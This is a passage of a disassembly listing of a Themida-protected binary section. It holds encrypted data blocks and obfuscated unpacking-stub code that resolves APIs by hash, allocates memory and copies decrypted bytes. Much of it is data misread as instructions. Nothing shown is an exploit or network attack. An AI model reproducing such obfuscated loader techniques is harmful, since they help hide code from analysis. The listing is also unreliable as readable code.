		dd 0D1E11093h, 2EDAE3F4h, 8220h, 0A5137700h, 1CE9B1F9h
		dd 92D605B6h, 57EA025Ch, 2F3CE810h, 0EAC214A7h,	0AC03BA1Dh
		dd 3B9183B0h, 6B76A5CAh, 0B49AA06Bh, 0C8580D80h, 0E9C008A0h
		dd 0FF204B41h, 6ED80708h, 0E41F9628h, 32FA1242h, 0D1DC105Bh
		dd 11972809h, 0C546EF2Bh, 96E8173Fh, 259640F4h,	0D3F906DDh
		dd 6346471Ah, 8F472434h, 6273802Ch, 3DC935A2h, 4FD1DC40h
		dd 7521B951h, 28DC7E20h, 0DEBB0DAEh, 917C3F8h, 3, 127DE460h
		dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh,	0F2FFAB12h
		dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 767D68h
		dd 240C8900h, 5B3768h, 24148900h, 81E78957h, 4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 6851242Ch, 6C566C4Eh, 81240C8Bh
		dd 4C4h, 0E9814100h, 663B50BFh,	6859CA89h, 0AD9h, 81242489h
		dd 42404h, 835D0000h, 148904ECh, 8458F24h, 51242C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835A24h,	5E29E904h
		dd 5325FFF9h, 177A3C19h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		dec	eax
		std


loc_5BABDF:				; CODE XREF: Themida_:005BA74Cj
		mov	eax, 61B1F7Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 32E42E66h, 7D45359Eh, 1E4E1043h, 17F6E4C6h, 3552FC37h
		dd 717A7B05h, 1EB74961h, 1B431EA2h, 519664BBh, 437C1E94h
		dd 24C91B6Eh, 25354F8Ch, 34229BC6h, 75FCC10Ah, 7B4BE3F4h
		dd 1085AF3Ah, 5FF29F38h, 64A6D233h, 470103F1h, 1FE2448h
		dd 0C062839h, 1BB91C58h, 6348F6B7h, 68ED5AA4h, 24403590h
		dd 1286C62Fh, 0EE8h, 58841300h,	90277518h, 9670A1C8h, 8B98F420h
		dd 820F5EFBh, 0
; ---------------------------------------------------------------------------
		add	esi, 6D29h
		mov	di, 0D73Dh
		push	1B1Fh
		mov	bx, 0EF39h
		pop	eax
		and	edi, 589BBC1Dh
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAC86:				; CODE XREF: sub_5BACFA+2j
		push	dword ptr [esi]
		jmp	loc_5BAC95
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		db 0F1h, 58h, 7Fh
		dd 54737E5Bh
		db 6Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAC95:				; CODE XREF: sub_5BACFA-72j
		pop	ecx
		stc
		xor	ecx, 14D69B04h
		adc	edi, 40967493h
		add	ecx, 5B515A9Fh
		push	edi
		jmp	loc_5BACBA
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		test	al, 0BBh
		pop	edx
		sub	ds:0F12C3CEBh, ch
		mov	bl, 4Eh
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BACBA:				; CODE XREF: sub_5BACFA-50j
		pop	ebx
		add	ecx, 100CAD1Bh
		cld
		mov	[esi], ecx
		jmp	loc_5BACD5
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		db 0F8h, 13h, 0C5h
		dd 0F24CB34Fh, 0CE3FD4F9h
		db 0A8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BACD5:				; CODE XREF: sub_5BACFA-36j
		sub	esi, 2
		pusha
		sub	ebx, 47213782h
		popa
		dec	esi
		dec	esi
		call	sub_5BACFA
		mov	edi, ebp
		dec	ebp
		mov	ebx, 4D118749h
		cmpsd
		sub	[edi], eax
		inc	ebx
		mov	ecx, 8AAA102h
		adc	eax, ebp
; END OF FUNCTION CHUNK	FOR sub_5BACFA

; =============== S U B	R O U T	I N E =======================================



sub_5BACFA	proc near		; CODE XREF: sub_5BACFA-18p

; FUNCTION CHUNK AT 005BAC86 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005BAC95 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005BACBA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005BACD5 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005BAD33 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005BAD64 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005BAD71 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005BAD9C SIZE 000001D1 BYTES
; FUNCTION CHUNK AT 005BAF72 SIZE 00000052 BYTES

		pop	ebx
		dec	eax
		jnz	loc_5BAC86
		mov	di, 0CCD4h
		call	near ptr loc_5BAD19+1
		lea	ebx, [edx+4Ah]
		dec	eax
		test	al, 1Dh		; CODE XREF: sub_5BACFA+17j
		db	65h
		jz	short near ptr loc_5BAD0F+1
		fstp	dword ptr [edx+7Eh]
		jl	short loc_5BAD71


loc_5BAD19:				; CODE XREF: sub_5BACFA+Cp
		and	[ebx-7499A72Dh], cl
sub_5BACFA	endp ; sp-analysis failed

		retf
; ---------------------------------------------------------------------------
		add	eax, 6FDDh
		mov	edx, 4338F0ECh
		mov	edi, 0
		add	dl, 5Ah
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAD33:				; CODE XREF: sub_5BACFA+89j
		mov	ebx, [eax+edi]
		movzx	ecx, bx
		sub	ebx, 608366CAh
		cld
		sub	ebx, 265E7C2Bh
		or	dh, 0A6h
		xor	ebx, 14A14E94h
		push	ebx
		movsx	edx, di
		pop	dword ptr [eax+edi]
		jmp	loc_5BAD64
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		db 12h
		dd 2A61FD17h, 0C0ECA379h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAD64:				; CODE XREF: sub_5BACFA+5Cj
		pusha
		push	edi
		jmp	near ptr loc_5BAD72+1
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------
		dec	edx
		aad	0B6h
		das
		push	esi
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAD71:				; CODE XREF: sub_5BACFA+1Dj
		outsb


loc_5BAD72:				; CODE XREF: sub_5BACFA+6Cj
		db	3Eh
		pop	edx
		mov	di, dx
		popa
		sub	edi, 4
		mov	ecx, edi
		cmp	edi, 0FFFF90B0h
		jnz	loc_5BAD33
		jmp	loc_5BAD9C
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		dw 0A744h
		dd 3485C9B6h, 3B9A5C25h, 7C60BDBFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAD9C:				; CODE XREF: sub_5BACFA+8Fj
		mov	eax, eax
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_5BADB0
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5BADC9


loc_5BADB0:				; CODE XREF: sub_5BACFA+ABj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 421h
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_5BADC9:				; CODE XREF: sub_5BACFA+B4j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5BADE9
		push	eax
		push	ebx
		mov	eax, 421h
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_5BADE9:				; CODE XREF: sub_5BACFA+D6j
		mov	eax, eax
		mov	ebx, [ebp+61424F9h]
		mov	byte ptr [ebp+6141A59h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+6141AD1h]
		lea	eax, [ebp+61780DBh]
		call	eax
		push	4
		push	1000h
		push	dword ptr [ebp+6141911h]
		push	0
		call	eax
		test	eax, eax
		jnz	loc_5BAE31
		mov	eax, 0
		lea	ecx, [ebp+61470F0h]
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5BAE31:				; CODE XREF: sub_5BACFA+124j
		mov	ecx, eax
		mov	eax, ebx
		add	eax, [eax+3Ch]
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ebx
		cmp	dword ptr [ebp+6141135h], 0
		jz	loc_5BAE5D
		mov	ebx, [ebp+6141135h]
		mov	eax, [ebp+61421ADh]
		mov	[ebx], eax


loc_5BAE5D:				; CODE XREF: sub_5BACFA+14Fj
		push	ecx
		push	edx
		lea	eax, [ebp+6147989h]
		call	eax
		mov	edi, edx
		mov	esi, ecx
		mov	edx, ecx
		mov	ecx, eax
		rep movsb
		mov	byte ptr [ebp+6141A59h], 56h
		push	0D41F6D39h
		push	dword ptr [ebp+6141AD1h]
		lea	eax, [ebp+61780DBh]
		call	eax
		push	8000h
		push	0
		push	edx
		call	eax
		mov	eax, eax
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_5BAEA9
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5BAEC2


loc_5BAEA9:				; CODE XREF: sub_5BACFA+1A4j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 421h
		mov	[ebp+61430C1h],	eax
		lea	ebx, [ebp+616B7A1h]
		call	ebx
		pop	ebx
		pop	eax


loc_5BAEC2:				; CODE XREF: sub_5BACFA+1ADj
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5BAEE2
		push	eax
		push	ebx
		mov	eax, 421h
		mov	[ebp+61430C1h],	eax
		lea	ebx, [ebp+616B442h]
		call	ebx
		pop	ebx
		pop	eax


loc_5BAEE2:				; CODE XREF: sub_5BACFA+1CFj
		mov	eax, eax
		lea	ebx, [ebp+6141135h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5BAEFB
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5BAEFB:				; CODE XREF: sub_5BACFA+1F4j
		mov	eax, 4B41h
		call	near ptr loc_5BAF0E+1
		fimul	word ptr [edi]
		call	far ptr	0C88Eh:27739F6Ch


loc_5BAF0E:				; CODE XREF: sub_5BACFA+206p
		fist	word ptr [edx+0Fh]
		mov	bh, 0D2h
		pop	esi
		pop	eax
		sub	dh, 53h
		add	eax, 6B1Bh
		mov	edx, 6CE32680h
		mov	ebx, 1A9Fh
		ja	loc_5BAF38
		pusha
		mov	ecx, eax
		and	edi, 26640F65h
		popa


loc_5BAF38:				; CODE XREF: sub_5BACFA+22Ej
					; sub_5BACFA+2A2j
		push	dword ptr [eax]
		cld
		pop	edi
		mov	dl, 5Bh
		sub	edi, 692B7349h
		mov	cx, 89C6h
		add	edi, 1C640377h
		jno	loc_5BAF60
		jb	loc_5BAF60
		jp	$+6


loc_5BAF60:				; CODE XREF: sub_5BACFA+254j
					; sub_5BACFA+25Aj
		add	edi, 58C5C9F7h
		pusha
		cmc
		jmp	loc_5BAF72
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		db 7Ah,	93h, 9Dh
; ---------------------------------------------------------------------------
		jg	short loc_5BAFA8
; START	OF FUNCTION CHUNK FOR sub_5BACFA


loc_5BAF72:				; CODE XREF: sub_5BACFA+26Ej
		popa
		push	edi
		xor	esi, 5B22E04Bh
		pop	dword ptr [eax]
		mov	cl, 0C5h
		sub	eax, 59712865h
		push	ecx
		js	loc_5BAF91
		jno	$+6


loc_5BAF91:				; CODE XREF: sub_5BACFA+28Bj
		pop	ecx
		add	eax, 59712861h
		sbb	dl, 0F9h
		dec	ebx
		jnz	loc_5BAF38
		adc	edx, 3E698B95h


loc_5BAFA8:				; CODE XREF: Themida_:005BAF70j
		call	near ptr loc_5BAFB6+2
		and	ecx, [ebp+11h]
		cmp	ecx, esp
		and	al, 64h
		adc	al, 77h


loc_5BAFB6:				; CODE XREF: sub_5BACFA:loc_5BAFA8p
		fadd	dword ptr [edi+esi*4+0F575810h]
		mov	edi, 0C0815BD0h
		fsubrp	st(1), st
; END OF FUNCTION CHUNK	FOR sub_5BACFA
; ---------------------------------------------------------------------------
		dd 0F9510000h, 0F22FBF5Eh, 0C7810599h, 0FA664622h, 11E9h
		dd 78812C00h, 0B6E7C53Bh, 0B772D309h, 920399DEh, 88BBA1Bh
		dd 0FD692BBAh, 9AF1810Ah, 0E964E3ECh, 0Bh, 0A279CB13h
		dd 0F55E9923h, 81D7B95Eh, 579B5CC1h, 58A0F0Fh, 66000000h
		dd 35FAC381h, 4C81F181h, 5E8255Fh, 1D000000h, 98F5481Dh
		dd 0ECACBA66h, 0B70F515Bh, 83008FDFh, 0F78B02E8h, 81664848h
		dd 83930FD6h, 850F01EFh, 0FFFFFFA2h, 0E9D68B66h, 22h, 45A39C40h
		dd 7 dup(0)
		dd 1BE90000h, 0AA000005h, 5E3B8D32h, 19F64875h,	0D3B002B9h
		dd 8865B702h, 0E31C6E4Fh, 0C1FCDBD5h, 7A3F926Fh, 328D4B28h
		dd 0E8D303E0h, 0FC028A96h, 580D0C16h, 17C82F2Ah, 7AA7E40h
		dd 76CD74F7h, 88F921F8h, 0EEF92838h, 1A27D3E8h,	0D6AE00BDh
		dd 0C27923FFh, 165E77C2h, 0F2912A10h, 0E7163E51h, 15C1FADCh
		dd 41EDCE08h, 54656C39h, 54B91A25h, 0F291684Eh,	0BC547C51h
		dd 14369A10h, 4606F6E0h, 62F9B25h, 6E335CDh, 0BE9BEDD2h
		dd 905DA51Ah, 71C97546h, 6CBD842h, 5CB207B3h, 0C9A88E94h
		dd 94BC51F2h, 0BD771365h, 7552A41Bh, 8F2EA561h,	71348BE3h
		dd 0E2A8F2F5h, 4B1860F8h, 2B832F8Ah, 19C5FADEh,	0E22892C1h
		dd 51F228FFh, 0B02B677Bh, 0FEEDB0B5h, 4C49h, 0C4126000h
		dd 76434BF7h, 0E82C5B60h, 51F1E804h, 0B72C6E82h, 0FEEDF1AEh
		dd 150h, 0C1126700h, 7B4850FCh,	2B366558h, 5C6915A8h, 87944079h
		dd 0B6C36F4Ah, 0CFEEE91Bh, 0B5198B37h, 0FA5E1495h, 8E2FA458h
		dd 8F775F3Ch, 89DB7346h, 0F8C512D0h, 0FCE2E8B0h, 1051F1E7h
		dd 424FB9E8h, 0E802C91h, 8354E8AAh, 0CB0BE83Ah,	743C44F0h
		dd 0F1E8886Eh, 45749C51h, 0DB23983Ah, 769A9504h, 0F524218Ch
		dd 0A0E2048Bh, 0ED2F4A2Bh, 6A6734FEh, 1C4BA34Fh, 79B6h
		dd 4A17CD00h, 0F8033287h, 2A32DEDFh, 9945745Dh,	0CB071241h
		dd 0E8543A40h, 406851F1h, 0E9EFFCA8h, 1C222AD6h, 51F1E836h
		dd 0FED5224Ah, 3DA113BFh, 0CEE69C1Dh, 0B9CEAF7h, 0A5F2E9D2h
		dd 87DF8B32h, 0B0440658h, 6C449627h, 7CE369Fh, 166E1AB2h
		dd 0C2FBDCE7h, 0EDCC0916h, 0FA98BA41h, 0ED7794E1h, 488AFEh
		dd 12A10000h, 3F4CF8C5h, 467A2699h, 0CB0C2062h,	8C249B3Dh
		dd 0C112813Ah, 270A50FCh, 0A351F1E8h, 5A3C13DBh, 0AC541BEAh
		dd 62E8CE54h, 0D4FC51F2h, 23753A5h, 0A65CA235h,	30C48795h
		dd 0A91544DCh, 0FEED01BCh, 142h, 0C0125900h, 1EEBB3FBh
		dd 997F05BAh, 0AD51F1E7h, 0DFEC5685h, 0C318C4F7h, 7CB6121h
		dd 0C28A62B4h, 0F1E7D6BCh, 93C2EA51h, 2B731B89h, 0E5030E25h
		dd 0B05C8457h, 408833A3h, 0AD596473h, 0BE566596h, 7008C1B8h
		dd 82543141h, 0B224F139h, 0D6055D09h, 942266Ch,	0C0A45806h
		dd 4F6C6A82h, 53393F07h, 67580609h, 2300103Fh, 0E9C008B3h
		dd 0BC7AA59Fh, 63CDFC92h, 73488E5Bh, 1E9D3944h,	49706572h
		dd 7841909Dh, 96B498CCh, 9A46735Eh, 0E0F8AA42h,	4FFBBE13h
		dd 7B5AA0F7h, 87A269ABh, 0B5440658h, 6501E7EDh,	8D935806h
		dd 580664A7h, 0A5CD93BBh, 506B6B76h, 74A5C0FEh,	0E59F8D9h
		dd 70000001h, 0B1F9A513h, 1DC9F2E4h, 0E8290F15h, 153D51F1h
		dd 42484E7Dh, 57E50E0Bh, 0E5ED99C1h, 0D302BB18h, 5BAD0EC8h
		dd 0B763587Eh, 0E38F2CAAh, 0BC4D0D71h, 0A7D6E9EFh, 2F813A9Ch
		dd 0B5498A57h, 7376EBFBh, 0EB972F35h, 6DF86493h, 91F8D9E5h
		dd 2Fh,	0F8A613A8h, 0E7E4AAB0h,	90B8D1F1h, 0C70FDCE4h
		dd 8F27923Fh, 0E8361C60h, 96BAD1F1h, 2ED441F4h,	0E81AE0E6h
		dd 0C6EE51F1h, 8F9674h,	13ED0000h, 0ABB1F9A5h, 57E510F0h
		dd 0BDCA769Eh, 7850A219h, 0F0C4AAB0h, 0B0D85805h, 5B607681h
		dd 0F28869AFh, 4CE45805h, 0F1987E84h, 0D4AC5805h, 5F1E8CEh
		dd 3CD4FC58h, 659FBB0Dh, 35024A71h, 5069689Ch, 85B40CB8h
		dd 832B9975h, 15E2353Bh, 0A8D05DFEh, 0E61DF4FCh, 0E6D23B6Ch
		dd 0BE182352h, 0A6FC51FDh, 12BEFDD9h, 19398BBAh, 0C11576E4h
		dd 932B9245h, 0F1E6B3FBh, 65587FCCh, 2C3261B9h,	1988D326h
		dd 0E3E9C164h, 643C89FDh, 0FF51E911h, 0F9A51346h, 0B58ABB1h
		dd 1E4657EAh, 4A716572h, 0E2FF2B02h, 1C22475Eh,	0B7691688h
		dd 8AB951FCh, 82399D7Ah, 885A90D6h, 0BA1E1B64h,	3B9C6998h
		dd 317ED682h, 0DCE716A5h, 0A279C1FAh, 0FF9D0C4Ch, 0C2D201C6h
		dd 361C22EAh, 4A9BC686h, 0EEE8F322h, 0C11421CDh, 7F2B8E43h
		dd 8EE38F27h, 4096AEECh, 0DEF90BC6h, 939B47DFh,	0C685A78Dh
		dd 0FB93BB9Bh, 0FD952AAEh, 0B308CEABh, 0B79DA36Bh, 0CB9BC685h
		dd 2CD8E5EEh, 0A30D3CD4h, 395h,	7DE4EC00h, 49F5CA12h, 75219A3Ch
		dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
		dd 8733884Ah, 0B864597Ah, 578E6833h, 2C890000h,	391E6824h
		dd 2C890000h, 0E0895024h, 405h,	4E88300h, 5C240487h, 52240489h
		dd 46754B68h, 0E2815A5Ch, 674077B8h, 5190F281h,	8152425Bh
		dd 4A89242Ch, 815D57D5h, 0D54A89C5h, 28685A57h,	89000010h
		dd 4832424h, 68580424h,	6AB6h, 8F242C89h, 48B0840h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh,	4C481h
		dd 74E90000h, 0D5FFF954h, 0FD25F7E0h, 2AB898F7h, 3061B29h
		dd 0B1E0FFC5h, 0ED18A655h, 46E5541h, 504F5CE4h,	675D7D95h
		dd 0EA36EF4Eh, 0B57318E4h, 5A0F5C02h, 0A2066662h, 46172BA5h
		dd 817FA499h, 0D2557ECAh, 481281CEh, 407DA327h,	0E275C051h
		dd 4B39A11Bh, 195298D4h, 843ECB23h, 0FE2B9660h,	3456A7BBh
		dd 0C4029947h, 427B3091h, 0E971CA47h, 3Bh, 79BD8B60h, 8306140Ch
		dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
		dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh,	0F98107h
		dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0E59D8DC8h, 0B8061413h
		dd 13A8h, 1B698589h, 0E80614h, 58000000h, 0D05h, 0E9038900h
		dd 13A8h
dword_5BB658	dd 4E8h	dup(0)		; DATA XREF: Themida_:00549FC4o
dword_5BC9F8	dd 2 dup(0)		; DATA XREF: Themida_:0054C040o
; ---------------------------------------------------------------------------
		jmp	short loc_5BCA0E
; ---------------------------------------------------------------------------
		dw 5251h
		dd 9BF313D8h, 2C165DEEh
		db 50h,	0E1h
; ---------------------------------------------------------------------------


loc_5BCA0E:				; CODE XREF: Themida_:005BCA00j
		jmp	loc_5BD001
; ---------------------------------------------------------------------------
		jmp	loc_5BCFFA
; ---------------------------------------------------------------------------
		dd 0DC2E914Bh, 97E9D4FFh, 51A318BAh, 6586174h, 0BD0FAE29h
		dd 5B7C3484h, 9E331062h, 0ECECC91Bh, 32A481D3h,	0A32B3789h
		dd 0D25B79Dh, 69D0CB58h, 4BF7C412h, 79259A3Eh, 0A854656Ch
		dd 6CC3C9Bh, 0E819FF05h, 52D51F1h, 391F256Dh, 4D51F1E8h
		dd 0D4E18D25h, 0E370FB03h, 6A378171h, 1FB74F6Ch, 4A6F6673h
		dd 7A41919Eh, 7E646A32h, 9251F1F9h, 0C4D13B6Ah,	9E66AE0Fh
		dd 309951C7h, 5DE3F943h, 51F2A177h, 0CA34638Bh,	0EAF050BEh
		dd 51F2A104h, 1058F018h, 0FE2D9043h, 0DEEDF2F8h, 173F57EAh
		dd 47745E6Bh, 19A632FFh, 0D6E6156Dh, 36E2D9F9h,	0D1F63AF0h
		dd 0F89AFE4Dh, 0E52D8E44h, 6343BB18h, 0BF720224h, 0B20AB64Eh
		dd 29977383h, 0AA663D85h, 366B872Eh, 0E141A49h,	73C936F5h
		dd 7E8B375Fh, 3613655Ah, 8D51DA2h, 0ED96EDCEh, 380C46CAh
		dd 0C50B75A4h, 2F7F1ACAh, 0B323F008h, 4E545C08h, 0CFE21B68h
		dd 8DBC547Ch, 0F3E51F3Bh, 1EB784CCh, 6897EF9Bh,	620E7C58h
		dd 6619141Ah, 1F47D5D5h, 263800D7h, 4228E6C9h, 8163A913h
		dd 8CD5F6A0h, 2E8EEB6h,	16D5F6A0h, 89219839h, 514A085Ah
		dd 7AE93A14h, 359734Ah,	6C0F5488h, 0ED73Dh, 2CF0000h, 0E43CE8D5h
		dd 7011CEB5h, 68000003h, 823AC612h, 0F9125FE4h,	36E2D9FDh
		dd 0F8FE46DEh, 51F2C012h, 0BA66FE26h, 0EA9625ADh, 5A92B0D4h
		dd 17EF417Eh, 603D8740h, 4675E6EDh, 76229D3Bh, 0B5D78D28h
		dd 46795F95h, 7D451CF4h, 0EFA11483h, 0CB071241h, 9E3744F0h
		dd 0C41A6F1Bh, 93DBDEF7h, 0F275A78Dh, 6493BB51h, 0F9C17012h
		dd 0F2760DF3h, 83389A51h, 0D2B97FD7h, 0E141A460h, 78A73F5Ch
		dd 456656Dh, 0A968C9EEh, 0BA03D4D1h, 0D632A572h, 7622BAFFh
		dd 2DFEF1Eh, 313EEACFh,	0A25B5AA0h, 0EAA5CA18h,	9A3D0A52h
		dd 0BD02D623h, 208AB911h, 4FFBBE13h, 7C289542h,	2FC58527h
		dd 0CB8119A4h, 0C0112B67h, 0C4C9A7F9h, 20000000h, 50FCAA13h
		dd 0D6289343h, 9AE2D9F9h, 0E7E6CCD2h, 0D2FA51F1h, 0E79E848Ah
		dd 8AB251F1h, 0C5ABF15Bh, 0A51F1E7h, 0C0122A68h, 5CCA9FBh
		dd 0DBFB08B4h, 5ABE34E0h, 37CD0438h, 1B731F9Ah,	7D543183h
		dd 262CF43Ch, 51F1E840h, 316750C3h, 0D298A508h,	4117BAAh
		dd 0E93EEAD3h, 2EF60B47h, 0F2644228h, 0FF2E5651h, 8ADCDDF4h
		dd 4B932AADh, 0B763587Eh, 2B11175Fh, 3F51F264h,	307EE817h
		dd 0C9F2E492h, 0FAC3101Dh, 14361A4Eh, 6441695h,	0F68A1CF3h
		dd 863EE66Bh, 0F01F9E39h, 151BF2E5h, 51F2A92Fh,	31831B43h
		dd 8F3B8454h, 0F2A96649h, 7047CD51h, 7BB07C37h,	2A7CAB79h
		dd 0BB04D468h, 8A2FA673h, 17924B5Bh, 2318E4Ah, 32DEE1F7h
		dd 9A4DB325h, 1FCE47B6h, 0B022CE66h, 2EFB0E4Ch,	0DBE615AAh
		dd 0F5C40DFDh, 759F149h, 0F2BF22F1h, 58677151h,	0EBC54ACh
		dd 0FEED1658h, 0FFFF03A8h, 4A17BFFFh, 2A822E8Bh, 0DB83F1FBh
		dd 10D28D93h, 588057E5h, 2A954310h, 8DF7267Eh, 13655680h
		dd 876D733Bh, 195805F0h, 5F12D13h, 53194158h, 0F08F757Bh
		dd 7BA35805h, 2DA9B4E3h, 0D5E28Eh, 0D5000DB9h, 0AD2B38E4h
		dd 4E326612h, 0DFF7AD0Ch, 0CAF9C612h, 0B422DA78h, 0E3F2BF07h
		dd 0A3D22AD6h, 0DC20B693h, 5618A057h, 6EB64EC9h, 4B7BEA97h
		dd 2554D2F4h, 0F49275BBh, 50B45805h, 2FDCFA32h,	5F54329h
		dd 0B801D058h, 0E032CAF2h, 0A433D303h, 0CDD58119h, 3EEAD300h
		dd 3FADB7E6h, 4641478Fh, 0F25DF940h, 0B209B025h, 0D9E25CDh
		dd 0E26695BFh, 9C9B72BAh, 23935D0Dh, 12EEFE2Dh,	0E7B4FCA4h
		dd 0C921CDF0h, 718E949Ah, 0E36412E7h, 0D6020FBBh, 0E84D3339h
		dd 0D9DF6435h, 6435E7F3h, 0F119DF07h, 0AE2A0759h, 691F6511h
		dd 8D59F9FFh, 1E7EDB5h,	9379F9DFh, 0F9DEA78Dh, 0CD93BB79h
		dd 662476A5h, 63B50ACEh, 0C26E4B86h, 0F09C23B5h, 900B4769h
		dd 0D6E5FAD5h, 9E29h, 0C1124000h, 5CDAAFCh, 37A16EB6h
		dd 6C495988h, 21FE5069h, 0F4BF48B6h, 9F4B7062h,	0ACBBF047h
		dd 240153EBh, 0DBB80AB3h, 9471C3F6h, 4C297B44h,	2DF318Ah
		dd 4C3238D5h, 6051F26Bh, 0B8F4A038h, 0F6FCC4CCh, 51F26B10h
		dd 0C2CDFC24h, 0DCE1F214h, 0A1439844h, 308B4BE1h, 0F9DF2C84h
		dd 46C21AC6h, 0AF0F6BEh, 9751F26Bh, 78D07C3Fh, 555B8AB2h
		dd 0F26B694Fh, 3557D51h, 6B3F252Bh, 765351F2h, 5CB4605Dh
		dd 4E5C48C4h, 70h, 736CB0A5h, 0CE51F1E8h, 6A806E2Ch, 0DA86359Dh
		dd 126C5382h, 0ECB4FCC1h, 0F1E800E6h, 0BDEC1451h, 0B902D0ADh
		dd 0AF4B8A67h, 0E28282E3h, 0D426BE1Bh, 1C1EE0F7h, 2D07E5AAh
		dd 0D2AF0199h, 0E7D20305h, 0F94BE33Bh, 0B204B51Ch, 74BC03D5h
		dd 7C36A59Dh, 3B9AB16Fh, 0E27AD27Eh, 10C6A3B3h,	0D7B59ABh
		dd 0B3000000h, 35FFE5EBh, 0EB1351F2h, 7DE4D5BCh, 49F5CA12h
		dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h
		dd 5703B61Fh, 8733884Ah, 0B864597Ah
		db 33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	1777h
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	61B3E39h
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebp
		push	esi


loc_5BCFB0:				; CODE XREF: Themida_:005BD00Aj
		sub	dword ptr [esp], 20942F81h
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 20942F81h
		pop	esi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]	; CODE XREF: Themida_:005BD046j
		pop	esp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dd 9B32F482h, 0EB013348h
; ---------------------------------------------------------------------------
		xor	cl, ch


loc_5BCFFA:				; CODE XREF: Themida_:005BCA13j
		mov	eax, 61B438Ah
		add	eax, ebp	; CODE XREF: Themida_:005BD008j


loc_5BD001:				; CODE XREF: Themida_:loc_5BCA0Ej
		mov	edx, ebx
		push	ebp
		in	eax, dx
		std
		jnz	short loc_5BD066 ; CODE	XREF: Themida_:005BD06Ej
		jp	short near ptr loc_5BCFFF+1
		jbe	short loc_5BCFB0
		imul	esp, esi, 0FD49BC56h
		inc	esp
		pop	ds
		and	ebp, edi
		mov	edx, 0FBFD2136h
		and	[ecx], esp
		std
		pop	ecx
		stosd
		and	ebp, edi
		dec	ebx


loc_5BD023:				; CODE XREF: Themida_:005BD08Aj
		outsb
		and	ebp, edi
		and	[ecx+21FD0EFDh], ecx
		std
		out	dx, eax
		inc	ebp


loc_5BD030:				; CODE XREF: Themida_:005BD09Ej
		and	ebp, edi
		ficomp	dword ptr [ecx]
		and	ebp, edi
		add	[esi], esi
		and	ebp, edi
		fisub	word ptr [ecx]
		and	ebp, edi
		xor	ebp, [ebp+6E9CFD21h] ; CODE XREF: Themida_:005BD072j
					; Themida_:005BD082j
		and	ebp, edi
		jge	short near ptr loc_5BCFD4+1
		and	ebp, edi
